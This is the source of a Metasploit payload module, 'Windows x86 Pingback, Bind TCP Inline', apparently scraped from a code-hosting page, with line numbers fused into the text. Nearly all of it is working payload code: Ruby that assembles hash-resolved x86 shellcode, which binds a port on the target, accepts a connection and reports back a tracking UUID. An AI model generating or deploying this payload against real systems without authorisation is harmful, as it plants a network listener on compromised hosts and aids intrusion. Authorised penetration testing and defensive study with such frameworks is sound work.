Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/pingback_bind_tcp.rb
Views: 11765
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 314910include Msf::Payload::Windows11include Msf::Payload::Single12include Msf::Payload::Pingback13include Msf::Payload::Windows::BlockApi14include Msf::Payload::Pingback::Options15include Msf::Payload::Windows::Exitfunk1617def initialize(info = {})18super(merge_info(info,19'Name' => 'Windows x86 Pingback, Bind TCP Inline',20'Description' => 'Open a socket and report UUID when a connection is received (Windows x86)',21'Author' => [ 'bwatters-r7' ],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => ARCH_X86,25'Handler' => Msf::Handler::BindTcp,26'Session' => Msf::Sessions::Pingback27))2829def required_space30# Start with our cached default generated size31space = cached_size3233# EXITFUNK 'seh' is the worst case, that adds 15 bytes34space += 153536space37end3839def generate(_opts = {})40encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first41encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first42encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]43self.pingback_uuid ||= self.generate_pingback_uuid44uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")45conf = { exitfunk: datastore['EXITFUNC'] }46addr_fam = 247sockaddr_size = 164849asm = %Q^50cld ; Clear the direction flag.51call start ; Call start, this pushes the address of 'api_call' onto the stack.52#{asm_block_api}53start:54pop ebp55; Input: EBP must be the address of 'api_call'.56; Output: EDI will be the newly connected clients socket57; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)5859bind_tcp:60push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.61push 0x5F327377 ; ...62push esp ; Push a pointer to the "ws2_32" string on the stack.63push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}64call ebp ; LoadLibraryA( "ws2_32" )6566mov eax, 0x0190 ; EAX = sizeof( struct WSAData )67sub esp, eax ; alloc some space for the WSAData structure68push esp ; push a pointer to this struct69push eax ; push the wVersionRequested parameter70push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}71call ebp ; WSAStartup( 0x0190, &WSAData );7273push 1174pop ecx75push_0_loop:76push eax ; if we succeed, eax will be zero, push it enough times77; to cater for both IPv4 and IPv678loop push_0_loop7980; push zero for the flags param [8]81; push null for reserved parameter [7]82; we do not specify a WSAPROTOCOL_INFO structure [6]83; we do not specify a protocol [5]84push 1 ; push SOCK_STREAM85push #{addr_fam} ; push AF_INET/686push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}87call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );88xchg edi, eax ; save the socket for later, don't care about the value of eax after this8990; bind to 0.0.0.0/[::], pushed earlier9192push #{encoded_port} ; family AF_INET and port number93mov esi, esp ; save a pointer to sockaddr_in struct94push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)95push esi ; pointer to the sockaddr_in struct96push edi ; socket97push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}98call ebp ; bind( s, &sockaddr_in, 16 );99test eax,eax ; non-zero means a failure100jnz failure101; backlog, pushed earlier [3]102push edi ; socket103push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}104call ebp ; listen( s, 0 );105106; we set length for the sockaddr struct to zero, pushed earlier [2]107; we dont set the optional sockaddr param, pushed earlier [1]108push edi ; listening socket109push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}110call ebp ; accept( s, 0, 0 );111112push edi ; push the listening socket113xchg edi, eax ; replace the listening socket with the new connected socket for further comms114push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}115call ebp ; closesocket( s );116117send_pingback:118push 0 ; flags119push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID120call get_pingback_address ; put pingback_uuid buffer on the stack121db #{uuid_as_db} ; PINGBACK_UUID122get_pingback_address:123push edi ; saved socket124push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}125call ebp ; call send126127push edi ; push the listening socket128xchg edi, eax ; replace the listening socket with the new connected socket for further comms129push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}130call ebp ; closesocket( s );131132handle_connect_failure:133; decrement our attempt count and try again134dec dword [esi+8]135jnz failure136137cleanup_socket:138; clear up the socket139push edi ; socket handle140push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}141call ebp ; closesocket(socket)142143failure:144^145if conf[:exitfunk]146asm << asm_exitfunk(conf)147end148Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string149end150end151end152153154